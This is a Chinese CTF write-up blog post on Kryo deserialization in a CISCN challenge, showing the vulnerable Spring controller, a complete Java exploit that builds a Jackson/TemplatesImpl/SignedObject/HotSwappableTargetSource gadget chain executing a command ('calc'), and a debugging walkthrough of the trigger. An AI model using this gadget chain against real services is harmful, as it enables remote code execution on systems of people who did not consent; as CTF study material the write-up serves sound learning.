June 26, 2023

从CISCN西南分区赛学习Kryo反序列化

跟m1sery师傅学习Kryo反序列化

一、Challenge&&Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.sea;

import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {
public MessageController() {
}

@ResponseBody
@RequestMapping({"/"})
public Object message(String message) throws Exception {
byte[] decodemsg;
if (message == null) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
} else {
try {
decodemsg = Base64.getDecoder().decode(message);
} catch (Exception var5) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
}
}

CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();
}
}

image.png
比较明显的kryo反序列化,没啥好说的。
漏洞点很明显就在codecMessageConverter.toMessage里面,并且给了一个比较明显的base64字符串,看一下codecMessageConverter
image.png
有一个toMessage和fromMessage,对应的就是序列化和反序列化了,我们生成payload的bytes字节肯定就是使用fromMessage方法了。我就比较懒直接放EXP了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Exploit {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
// 二次反序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

POJONode pojoNode1 = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
setFieldValue(badAttributeValueExpException, "val", pojoNode1);

// 初始化 SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

// 一次反序列化
POJONode pojoNode2 = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

// 手动构造 HashMap 以防触发正向利用链
HashMap hashMap = new HashMap();
setFieldValue(hashMap, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
setFieldValue(hashMap, "table", tbl);
//String serial = serial(hashMap);
//System.out.println(serial);
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
// 序列化
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
// 反序列化
//Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
//messagecode.getPayload();
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

二、原理分析

调试一下。
image.png
进入decode函数内部
image.png
进入dodecode方法
image.png
这里就进入了kryo的反序列化了
image.png
然后可以看到获取了mapserializer,因为最外层是一个hashmap
image.png
然后在Mapserializer的read方法调用了这个map的put函数,当然第一次进入这里并不是恶意的map,第二次才是
image.png
之后就是map的一系列调用链了。这里配合的是jackson+xstring+hotswapeer的链子,其实BadAttribute足以

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF